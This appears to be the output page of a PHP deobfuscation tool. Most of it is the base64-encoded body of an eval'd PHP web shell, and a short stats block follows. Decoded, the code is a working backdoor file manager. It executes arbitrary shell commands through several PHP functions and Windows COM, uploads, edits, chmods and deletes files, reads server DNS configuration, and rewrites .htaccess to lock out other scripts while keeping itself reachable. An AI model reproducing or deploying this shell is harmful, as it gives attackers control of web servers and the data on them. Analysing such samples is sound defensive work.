oJGZ1bmdzaVsyNl0oJGZvbGRlcikpIHsKICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0gPz4KICAgIDxicj4KICAgIDw/cGhwCiAgICBpZiAoaXNzZXQoJF9HRVRbJ2YnXSkpIDoKICAgID8+CiAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1ib3giPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZS1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1maWxlIj48aSBjbGFzcz0iZmEtcmVndWxhciBmYS1mbG9wcHktZGlzayI+PC9pPiZuYnNwO1NhdmU8L2J1dHRvbj48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpID8+JnJlbmFtZT08Pz0gJF9HRVRbJ2YnXSA/PiIgY2xhc3M9ImxpbmstcmVuYW1lIj48aSBjbGFzcz0iZmEtc29saWQgZmEtcGVuLXRvLXNxdWFyZSI+PC9pPiZuYnNwO1JlbmFtZTwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPiA8YSBocmVmPSI/ZGlyPTw/PSBoZXgoJGZ1bmdzaVs5XSgpKTsgPz4iPjxpIGNsYXNzPSJmYS1zb2xpZCBmYS14bWFyayI+PC9pPjwvYT48L2xpPgogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJ0ZXh0LWZpbGUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZnVuZ3NpWzI3XSgkX0dFVFsnZiddKSk7ID8+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsncmVuYW1lJ10gPT0gVHJ1ZSkgOiA/PgogICAgICAgIDxkaXYgY2xhc3M9ImNyZWF0ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsIj4KICAgICAgICAgICAgICAgIDxoZWFkZXI+CiAgICAgICAgICAgICAgICAgICAgPGgyPjw/PSAkX0dFVFsncmVuYW1lJ10gPz48L2gyPgogICAgICAgICAgICAgICAgPC9oZWFkZXI+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7RmlsZS9Gb2xkZXIiPgogICAgICAgICAgICAgICAgICAgIDx1bD4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdC1yZW5hbWUiIGNsYXNzPSJidG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICA8P3BocCBlbmRpZjsgPz4KICAgIDw/cGhwIGlmICgkX0dFVFsnY2htb2QnXSA9PSBUcnVlKSA6ID8+CiAgICAgICAgPGRpdiBjbGFzcz0iY3JlYXRlIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwiPgogICAgICAgICAgICAgICAgPGhlYWRlcj4KICAgICAgICAgICAgICAgICAgICA8aDI+PD89ICRfR0VUWydjaG1vZCddID8+PC9oMj4KICAgICAgICAgICAgICAgIDwvaGVhZGVyPgogICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9Im51bWJlciIgc3R5bGU9IndpZHRoOjEwMCUiIG5hbWU9ImNobW9kIiBpZD0iIiBwbGFjZWhvbGRlcj0iJm5ic3A7Nzc1Ij4KICAgICAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsaT48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQtY2htb2QiIGNsYXNzPSJidG4tbW9kYWwgZnctYm9sZCIgdmFsdWU9IlN1Ym1pdCI+PC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9Ij9kaXI9PD89IGhleCgkZnVuZ3NpWzldKCkpOyA/PiI+Q2xvc2U8L2E+PC9saT4KICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2JvZHk+Cgo8L2h0bWw+Cgo8P3BocAoKaWYgKCRfR0VUWydiYWNrZG9vciddID09IFRydWUpIHsKICAgIC8vIGNoZWNrIGlmIGh0YWNjZXNzIGhhdmUgdGhpcyBjb2RlCiAgICAkZmlsZV9odGFjY2VzcyA9ICRmdW5nc2lbMjddKCRfU0VSVkVSWyRmdW5nc2lbMzNdXSAuICIvaHRhY2Nlc3MiKTsKICAgICRjYXJpX2NvZGUgPSBleHBsb2RlKCc8JywgJGZpbGVfaHRhY2Nlc3MpOwogICAgaWYgKCFlbmQoJGNhcmlfY29kZSkgPT0gJy9GaWxlc01hdGNoPicpIHsKICAgICAgICAvLyBwZW5nZWNla2FuIG5hbWEgZmlsZSBzZWthcmFuZwogICAgICAgICRuYW1hZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgICAgICAkZmlsZVV0YW1hID0gZXhwbG9kZSgiLyIsICRuYW1hZmlsZSk7CiAgICAgICAgJGh0YWNjZXNzX3RleHQgPSAnCjxGaWxlc01hdGNoICIucGgqfFBoKnxwSCp8UEgqIj4KICAgIE9yZGVyIERlbnksQWxsb3cKICAgIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiJyAuIGVuZCgkZmlsZVV0YW1hKSAuICd8aW5kZXgucGhwfGluZGV4Lmh0bWx8Ki5wbmd8Lmh0YWNjZXNzIj4KICAgIE9yZGVyIERlbnksIEFsbG93CiAgICBBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+JzsKICAgICAgICAkZG9jdW1lbnRfcm9vdCA9ICRfU0VSVkVSWyRmdW5nc2lbMzNdXTsKICAgICAgICAkY21kID0gJGZ1bmdzaVsxNF0oImVjaG8gJyIgLiAkaHRhY2Nlc3NfdGV4dCAuICInID4+ICIgLiAkZG9jdW1lbnRfcm9vdCAuICIvLmh0YWNjZXNzIik7CiAgICAgICAgaWYgKCRjbWQpIHsKICAgICAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1jaG1vZCddKSkgewogICAgJG51bWJlckNobW9kID0gJF9QT1NUWydjaG1vZCddOwogICAgJGNobV9vX2QgPSBjaG1vZCgkZnVuZ3NpWzldIC4gIi8iIC4gJF9HRVRbJ2NobW9kJ10sIGlzX2ludCgkbnVtYmVyQ2htb2QpKTsKICAgIGlmICgkY2htX29fZCkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWyd1cGxvYWQtc3VibWl0J10pKSB7CiAgICAkbmFtZV9maWxlID0gJF9GSUxFU1snZ2Vja28tZmlsZSddWyduYW1lJ107CiAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWydnZWNrby1maWxlJ11bJ3RtcF9uYW1lJ107CiAgICAkbW92ZSA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsIF9fRElSX18gLiAiLyIgLiAkbmFtZV9maWxlKTsKICAgIGlmICgkbW92ZSkgewogICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgfQp9CgppZiAoaXNzZXQoJF9QT1NUWydzdWJtaXQtcmVuYW1lJ10pKSB7CiAgICAkbmV3X25hbWUgPSAkX1BPU1RbJ3JlbmFtZSddOwogICAgJHJlX25hbWUgPSByZW5hbWUoJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ3JlbmFtZSddLCAkbmV3X25hbWUpOwogICAgaWYgKCRyZV9uYW1lKSB7CiAgICAgICAgZWNobyBzdWNjZXNzKCk7CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8gZmFpbGVkKCk7CiAgICB9Cn0KCmlmIChpc3NldCgkX1BPU1RbJ3N1Ym1pdC1maWxlJ10pKSB7CiAgICAkdGV4dGFyZWEgPSAkX1BPU1RbJ3RleHQtZmlsZSddOwogICAgJHdyaXRlID0gJGZ1bmdzaVsyOF0oJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJF9HRVRbJ2YnXSwgJHRleHRhcmVhKTsKICAgIGlmICgkd3JpdGUpIHsKICAgICAgICBlY2hvIHN1Y2Nlc3MoKTsKICAgIH0gZWxzZSB7CiAgICAgICAgZWNobyBmYWlsZWQoKTsKICAgIH0KfQoKCgppZiAoaXNzZXQoJF9QT1NUWydnZWNrby1zdWJtaXQnXSkpIHsKICAgICRpdGVtID0gJF9QT1NUWydjaGVjay1nZWNrbyddOwogICAgaWYgKCRfUE9TVFsnYWN0aW9uLWdlY2tvJ10gPT0gImRlbGV0ZSIpIHsKICAgICAgICBmb3JlYWNoICgkaXRlbSBhcyAkaXQpIHsKICAgICAgICAgICAgJHJlcGwgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRmdW5nc2lbOV0oKSk7IC8vIFVudHVrIFdpbmRvd3MgUGF0aAogICAgICAgICAgICAkZmQgPSAkcmVwbCAuICIvIiAuICRpdDsKICAgICAgICAgICAgaWYgKCRmdW5nc2lbMThdKCRmZCkgfHwgJGZ1bmdzaVsxN10oJGZkKSkgewogICAgICAgICAgICAgICAgJHJtZGlyID0gdW5saW5rRGlyKCRmZCk7CiAgICAgICAgICAgICAgICAkcm1maWxlID0gJGZ1bmdzaVszMF0oJGZkKTsKICAgICAgICAgICAgICAgIGlmICgkcm1kaXIgfHwgJHJtZmlsZSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gc3VjY2VzcygpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvIGZhaWxlZCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBzdWNjZXNzKCkKewogICAgcmV0dXJuICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZGlyPScgLiBoZXgoJEdMT0JBTFNbJ2Z1bmdzaSddWzldKCkpIC4gJyZyZXNwb25zZT1zdWNjZXNzIj4nOwp9CmZ1bmN0aW9uIGZhaWxlZCgpCnsKICAgIHJldHVybiAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Rpcj0nIC4gaGV4KCRHTE9CQUxTWydmdW5nc2knXVs5XSgpKSAuICcmcmVzcG9uc2U9ZmFpbGVkIj4nOwp9CgpmdW5jdGlvbiBfbWFkX2NtZCgkZGUpCnsKICAgICRvdXQgPSAnJzsKICAgIHRyeSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgICAgIHJldHVybiBAJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCRkZSk7CiAgICAgICAgfSBlbHNlIGlmIChmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bM10oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgICAgICRleGVjID0gYXJyYXkoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxXSgkZGUsICRleGVjKTsKICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsICRleGVjKTsKICAgICAgICAgICAgcmV0dXJuICRleGVjOwogICAgICAgIH0gZWxzZSBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMl0oJGRlKTsKICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3BjbG9zZScpKSB7CiAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJGRlLCAiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpCiAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICAgICAgICAgICRHTE9CQUxTWydmdW5nc2knXVs2XSgkZik7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAgICAgJHBpcGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgJHByb2Nlc3MgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzRdKCRkZSAuICcgMj4mMScsIGFycmF5KGFycmF5KCJwaXBlIiwgInciKSwgYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IikpLCAkcGlwZXMsIG51bGwpOwogICAgICAgICAgICAkb3V0ID0gQCRHTE9CQUxTWydmdW5nc2knXVs4XSgkcGlwZXNbMV0pOwogICAgICAgICAgICByZXR1cm4gJG91dDsKICAgICAgICB9IGVsc2UgaWYgKGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICAgICAgJG1hZFdzID0gbmV3IENPTSgnV1NjcmlwdC5zaGVsbCcpOwogICAgICAgICAgICAkZXhlYyA9ICRtYWRXcy0+JEdMT0JBTFNbJ2Z1bmdzaSddWzFdKCdjbWQuZXhlIC9jICcgLiAkX1BPU1RbJ2FsZmExJ10pOwogICAgICAgICAgICAkc3Rkb3V0ID0gJGV4ZWMtPlN0ZE91dCgpOwogICAgICAgICAgICAkb3V0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOwogICAgICAgIH0KICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgfQogICAgcmV0dXJuICRvdXQ7Cn0KCgoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRkaXJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsxOF0oJGRpciAuICIvIiAuICRyZWFkRGlyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CgogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9ICRkaXIgLiAiLyIgLiAkcmVhZERpcjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgoKCiAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMzBdKCRmaWxlKTsKICAgIH0KICAgICRkaXJzID0gYXJyYXlfcmV2ZXJzZSgkZGlycyk7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSB7CiAgICAgICAgJEdMT0JBTFNbJ2Z1bmdzaSddWzI5XSgkZGlyKTsKICAgIH0KfQoKZnVuY3Rpb24gZm9ybWF0U2l6ZSgkYnl0ZXMpCnsKICAgICR0eXBlcyA9IGFycmF5KCc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5LQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+TUI8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPkdCPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5UQjwvc3Bhbj4nKTsKICAgIGZvciAoJGkgPSAwOyAkYnl0ZXMgPj0gMTAyNCAmJiAkaSA8IChjb3VudCgkdHlwZXMpIC0gMSk7ICRieXRlcyAvPSAxMDI0LCAkaSsrKTsKICAgIHJldHVybiAocm91bmQoJGJ5dGVzLCAyKSAuICIgIiAuICR0eXBlc1skaV0pOwp9CgpmdW5jdGlvbiBzeW1saW5rRG9tYWluKCkKewogICAgJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIiwgZmFsc2UpOwogICAgaWYgKCEkZDBtYWlucykgewogICAgICAgICRkb20gPSAiPGZvbnQgY29sb3I9cmVkIHNpemU9MnB4PkNhbnQgUmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9mb250PiI7CiAgICAgICAgJEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOwogICAgfSBlbHNlIHsKICAgICAgICAkY291bnQgPSAwOwogICAgICAgIGZvcmVhY2ggKCRkMG1haW5zIGFzICRkMG1haW4pIHsKICAgICAgICAgICAgaWYgKEBzdHJzdHIoJGQwbWFpbiwgInpvbmUiKSkgewogICAgICAgICAgICAgICAgcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZDBtYWluLCAkZG9tYWlucyk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgaWYgKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKSB7CiAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZG9tID0gIiRjb3VudCBEb21haW4iOwogICAgfQogICAgcmV0dXJuICRkb207Cn0KCmZ1bmN0aW9uIGxpbnV4X3ZlcnNpb24oKQp7CiAgICAkcGVjYWggPSBleHBsb2RlKCIgIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzExXSgpKTsKICAgICRwY2FoID0gZXhwbG9kZSgiLSIsICRwZWNhaFsyXSk7CiAgICByZXR1cm4gJHBjYWhbMF07Cn0KCmZ1bmN0aW9uIHBlcm1zKCRmaWxlKQp7CiAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgewogICAgICAgIC8vIFNvY2tldAogICAgICAgICRpbmZvID0gJ3MnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgIC8vIFN5bWJvbGljIExpbmsKICAgICAgICAkaW5mbyA9ICdsJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKICAgICAgICAvLyBSZWd1bGFyCiAgICAgICAgJGluZm8gPSAnLSc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7CiAgICAgICAgLy8gQmxvY2sgc3BlY2lhbAogICAgICAgICRpbmZvID0gJ2InOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgIC8vIERpcmVjdG9yeQogICAgICAgICRpbmZvID0gJ2QnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewogICAgICAgIC8vIENoYXJhY3RlciBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7CiAgICAgICAgLy8gRklGTyBwaXBlCiAgICAgICAgJGluZm8gPSAncCc7CiAgICB9IGVsc2UgewogICAgICAgIC8vIFVua25vd24KICAgICAgICAkaW5mbyA9ICd1JzsKICAgIH0KICAgIC8vIE93bmVyCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CiAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnKSA6ICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogICAgLy8gR3JvdXAKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CgogICAgLy8gV29ybGQKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcpIDogKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CiAgICByZXR1cm4gJGluZm87Cn0KCmZ1bmN0aW9uIGhleCgkbikKewogICAgJHkgPSAnJzsKICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsKICAgICAgICAkeSAuPSBkZWNoZXgob3JkKCRuWyRpXSkpOwogICAgfQogICAgcmV0dXJuICR5Owp9CmZ1bmN0aW9uIHVuaGV4KCR5KQp7CiAgICAkbiA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsKICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQo/Pgo="));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 5bfd1988fed6fb4ceac1bc12a82e2d63
Eval Count 1
Decode Time 78 ms